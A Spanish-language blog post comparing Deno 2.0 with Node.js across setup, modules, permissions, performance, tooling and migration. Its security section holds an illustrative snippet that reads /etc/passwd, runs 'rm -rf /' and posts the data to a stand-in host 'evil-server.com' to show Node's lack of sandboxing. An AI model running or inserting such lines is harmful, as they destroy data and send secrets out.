Volver al blog

Deno 2.0 vs Node.js: La Batalla de los Runtimes JavaScript en 2025

Hola HaWkers, el ecosistema JavaScript nunca tuvo tantas opciones de runtime como ahora. Con el lanzamiento de Deno 2.0, la competencia con Node.js se volvió aún más interesante.

¿Ya te preguntaste si deberías migrar de Node.js a Deno? ¿O tal vez estás comenzando un proyecto nuevo y no sabes cuál elegir? Vamos a sumergirnos en esta comparación para ayudarte a tomar la mejor decisión.

El Escenario Actual

Node.js: El Veterano

Node.js domina el mercado hace más de una década:

Números Impresionantes:

  • Más de 30 millones de desarrolladores
  • npm con más de 2 millones de paquetes
  • Usado por empresas como Netflix, PayPal, LinkedIn
  • Comunidad masiva y madura

Deno 2.0: El Desafiante

Creado por Ryan Dahl (mismo creador de Node.js), Deno nació para corregir errores del pasado:

Diferenciales de Deno 2.0:

  • Compatibilidad total con npm
  • TypeScript nativo
  • Seguridad por defecto
  • Herramientas integradas (formatter, linter, test)

Comparativo Técnico

Instalación y Primer Proyecto

Node.js:

# Instalación vía nvm (recomendado)
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.0/install.sh | bash
nvm install 22
nvm use 22

# Crear proyecto
mkdir mi-proyecto && cd mi-proyecto
npm init -y

# Estructura creada:
# mi-proyecto/
#   package.json

Deno:

# Instalación
curl -fsSL https://deno.land/install.sh | sh

# Crear proyecto
mkdir mi-proyecto && cd mi-proyecto
deno init

# Estructura creada:
# mi-proyecto/
#   deno.json
#   main.ts
#   main_test.ts

Veredicto: Deno ofrece setup más rápido y ya crea archivos iniciales con TypeScript y tests.

Sistema de Módulos

Node.js (ESM moderno):

// package.json necesita "type": "module"
// o usar extensión .mjs

// utils.js
export function formatDate(date) {
  return new Intl.DateTimeFormat('es-ES').format(date);
}

// main.js
import { formatDate } from './utils.js';
// Extensión obligatoria en ESM

// Importar de npm
import express from 'express';

// Importar JSON (Node 22+)
import config from './config.json' with { type: 'json' };

Deno:

// Sin package.json, importa directo por URL o npm:
import { serve } from "https://deno.land/std@0.220.0/http/server.ts";

// O usando npm specifier (Deno 2.0)
import express from "npm:express@4";

// Importar de JSR (nuevo registry)
import { ulid } from "jsr:@std/ulid";

// Importar JSON
import config from "./config.json" with { type: "json" };

// TypeScript nativo - sin configuración
interface User {
  id: string;
  name: string;
}

export function createUser(name: string): User {
  return { id: crypto.randomUUID(), name };
}

Veredicto: Deno tiene importaciones más flexibles y TypeScript nativo.

Seguridad

Node.js:

Por defecto, un script Node.js tiene acceso a todo:

// Este código corre sin restricciones
import { readFileSync, writeFileSync } from 'fs';
import { execSync } from 'child_process';

// Lee cualquier archivo
const secrets = readFileSync('/etc/passwd', 'utf8');

// Ejecuta cualquier comando
execSync('rm -rf /');

// Accede a la red sin restricción
fetch('https://evil-server.com/steal', {
  method: 'POST',
  body: secrets
});

Deno:

Seguridad es opt-in por defecto:

// Sin permisos, esto falla:
const file = await Deno.readTextFile("/etc/passwd");
// Error: Requires read access to "/etc/passwd"

// Necesita ejecutar con permisos explícitos:
// deno run --allow-read=/app/data --allow-net=api.ejemplo.com main.ts

// O definir en deno.json:
{
  "permissions": {
    "read": ["./data"],
    "write": ["./output"],
    "net": ["api.ejemplo.com"],
    "env": ["DATABASE_URL", "API_KEY"]
  }
}

Permisos disponibles:

  • --allow-read: Lectura de archivos
  • --allow-write: Escritura de archivos
  • --allow-net: Acceso a red
  • --allow-env: Variables de ambiente
  • --allow-run: Ejecutar subprocesos
  • --allow-ffi: Foreign Function Interface

Veredicto: Deno vence claramente en seguridad.

Performance

Benchmark: Servidor HTTP Simple

// Deno (usando std/http)
Deno.serve({ port: 3000 }, (_req) => {
  return new Response("Hello World");
});

// Node.js (usando http nativo)
import { createServer } from 'http';

createServer((req, res) => {
  res.writeHead(200);
  res.end('Hello World');
}).listen(3000);

Resultados (requisiciones/segundo):

Runtime Hello World JSON Response File Read
Deno 2.0 125,000 95,000 45,000
Node.js 22 118,000 88,000 52,000
Bun 1.2 185,000 142,000 78,000

Veredicto: Performance similar, con Deno levemente adelante en HTTP, Node en I/O de archivo.

Herramientas Integradas

Node.js:

Necesita instalar herramientas separadas:

# Formatter
npm install -D prettier
npx prettier --write .

# Linter
npm install -D eslint
npx eslint .

# Tests
npm install -D jest
npx jest

# TypeScript
npm install -D typescript
npx tsc

# Watch mode
npm install -D nodemon
npx nodemon app.js

Deno:

Todo integrado:

# Formatter (basado en dprint)
deno fmt

# Linter
deno lint

# Tests (con coverage)
deno test --coverage

# Type check
deno check main.ts

# Watch mode
deno run --watch main.ts

# Bundler
deno bundle main.ts bundle.js

# Documentación
deno doc main.ts

# Task runner (como npm scripts)
deno task dev

Veredicto: Deno ofrece experiencia mucho más integrada.

Compatibilidad con npm

Deno 2.0:

La gran novedad de Deno 2.0 es la compatibilidad total con npm:

// Importar paquetes npm directamente
import express from "npm:express@4";
import { PrismaClient } from "npm:@prisma/client";
import chalk from "npm:chalk@5";

// Funciona con la mayoría de los paquetes
const app = express();
const prisma = new PrismaClient();

app.get('/', async (req, res) => {
  const users = await prisma.user.findMany();
  res.json(users);
});

app.listen(3000, () => {
  console.log(chalk.green('Server running on port 3000'));
});

node_modules en Deno:

# Crear node_modules para compatibilidad
deno install

# O usar con flag
deno run --node-modules-dir main.ts

Veredicto: Deno 2.0 eliminó la principal barrera de adopción.

APIs Nativas

Deno tiene APIs más modernas:

// Deno - APIs basadas en Web Standards

// Fetch (igual al browser)
const response = await fetch('https://api.ejemplo.com/users');
const users = await response.json();

// WebSocket
const socket = new WebSocket('wss://api.ejemplo.com/ws');
socket.onmessage = (event) => console.log(event.data);

// Crypto (Web Crypto API)
const uuid = crypto.randomUUID();
const hash = await crypto.subtle.digest('SHA-256', data);

// File System (con Promises nativo)
const content = await Deno.readTextFile('./data.json');
await Deno.writeTextFile('./output.json', JSON.stringify(data));

// KV Storage (base de datos embutida)
const kv = await Deno.openKv();
await kv.set(['users', '123'], { name: 'John' });
const user = await kv.get(['users', '123']);

Node.js necesita más boilerplate:

// Node.js

// Fetch (nativo desde Node 18)
const response = await fetch('https://api.ejemplo.com/users');
const users = await response.json();

// WebSocket (necesita lib)
import { WebSocket } from 'ws';
const socket = new WebSocket('wss://api.ejemplo.com/ws');

// Crypto
import { randomUUID, createHash } from 'crypto';
const uuid = randomUUID();
const hash = createHash('sha256').update(data).digest('hex');

// File System (necesita importar fs/promises)
import { readFile, writeFile } from 'fs/promises';
const content = await readFile('./data.json', 'utf8');
await writeFile('./output.json', JSON.stringify(data));

Deploy y Producción

Node.js:

Ecosistema maduro de deploy:

# Dockerfile optimizado para Node.js
FROM node:22-alpine AS builder
WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production

FROM node:22-alpine
WORKDIR /app
COPY --from=builder /app/node_modules ./node_modules
COPY . .
EXPOSE 3000
CMD ["node", "dist/main.js"]

Deno:

# Dockerfile para Deno
FROM denoland/deno:2.0.0

WORKDIR /app
COPY . .

# Cache de dependencias
RUN deno cache main.ts

EXPOSE 3000
CMD ["run", "--allow-net", "--allow-env", "main.ts"]

Deno Deploy:

Deno tiene plataforma propia de edge computing:

// Deploy instantáneo para edge global
// Soporte a Deno KV distribuido
// Zero cold start

Deno.serve((req) => {
  return new Response("Hello from the edge!");
});

// Deploy con un comando:
// deployctl deploy --project=mi-proyecto main.ts

Casos de Uso Ideales

Cuándo Usar Node.js

1. Proyectos Existentes:

// Si ya tienes un proyecto Node.js en producción,
// probablemente no vale migrar
const reasons = [
  'Ecosistema estable y conocido',
  'Equipo ya domina la tecnología',
  'Dependencias específicas de Node',
  'Integración con herramientas existentes'
];

2. Ecosistema Empresarial:

  • Más herramientas de monitoring (New Relic, DataDog)
  • Más opciones de hosting
  • Mayor pool de desarrolladores
  • Soporte comercial disponible

3. Proyectos con Dependencias Complejas:

Algunos paquetes aún no funcionan 100% en Deno:

  • Native addons (C++)
  • Paquetes que dependen de caminos específicos
  • Herramientas de build complejas

Cuándo Usar Deno

1. Proyectos Nuevos (Greenfield):

// Comienza con Deno para:
// - TypeScript nativo sin configuración
// - Seguridad por defecto
// - Herramientas integradas
// - Deploy fácil en edge

const ventajas = {
  dx: 'Mejor experiencia de desarrollo',
  seguridad: 'Permisos explícitos',
  modernidad: 'APIs basadas en Web Standards',
  simplicidad: 'Menos configuración'
};

2. Scripts y Herramientas CLI:

// Deno es perfecto para scripts
// Archivo único, sin node_modules

#!/usr/bin/env -S deno run --allow-read --allow-write

import { parse } from "jsr:@std/csv";

const csv = await Deno.readTextFile("./data.csv");
const records = parse(csv, { skipFirstRow: true });

for (const record of records) {
  console.log(`Processing: ${record.name}`);
}

// Ejecutar: ./script.ts
// O: deno run script.ts

3. Edge Computing:

Deno Deploy y Deno KV son optimizados para edge:

// Datos globalmente distribuidos
const kv = await Deno.openKv();

Deno.serve(async (req) => {
  const url = new URL(req.url);

  if (url.pathname === "/view") {
    const views = await kv.get(["views"]);
    await kv.set(["views"], (views.value as number || 0) + 1);
    return new Response(`Views: ${views.value}`);
  }

  return new Response("Not found", { status: 404 });
});

Migrando de Node.js a Deno

Si decides migrar, aquí está una guía práctica:

Paso 1: Configurar deno.json

{
  "compilerOptions": {
    "lib": ["deno.window"]
  },
  "imports": {
    "express": "npm:express@4",
    "@/": "./"
  },
  "tasks": {
    "dev": "deno run --watch --allow-all main.ts",
    "start": "deno run --allow-net --allow-env main.ts",
    "test": "deno test --allow-all"
  }
}

Paso 2: Actualizar Imports

// Antes (Node.js)
import express from 'express';
import { readFile } from 'fs/promises';
import path from 'path';

// Después (Deno)
import express from "npm:express@4";
// O usar APIs nativas de Deno
const content = await Deno.readTextFile("./file.txt");

Paso 3: Adaptar APIs

// Variables de ambiente
// Node: process.env.PORT
// Deno: Deno.env.get("PORT")

const port = parseInt(Deno.env.get("PORT") || "3000");

// __dirname y __filename
// Node: __dirname, __filename
// Deno: import.meta.dirname, import.meta.filename

const currentDir = import.meta.dirname;

Conclusión

Deno 2.0 finalmente resolvió el problema de compatibilidad con npm, convirtiéndose en una alternativa viable a Node.js. La elección entre los dos depende de tu contexto:

Elige Node.js si:

  • Tienes proyectos existentes para mantener
  • Necesitas ecosistema empresarial maduro
  • Equipo ya domina Node.js
  • Usas dependencias nativas complejas

Elige Deno si:

  • Comenzando proyecto nuevo
  • Valorizas seguridad por defecto
  • Quieres TypeScript sin configuración
  • Planeas deploy en edge computing

La buena noticia es que, con la compatibilidad npm de Deno 2.0, puedes testar Deno en partes de tu proyecto sin migrar todo de una vez.

Si quieres profundizarte en runtimes JavaScript modernos, recomiendo que revises otro artículo: Svelte 5 y Runes: Por Qué el Framework Está Ganando Terreno donde vas a descubrir cómo frameworks modernos están optimizando performance.

¡Vamos a por ello! 🦅

Comentarios (0)

Este artículo aún no tiene comentarios 😢. ¡Sé el primero! 🚀🦅

Añadir comentarios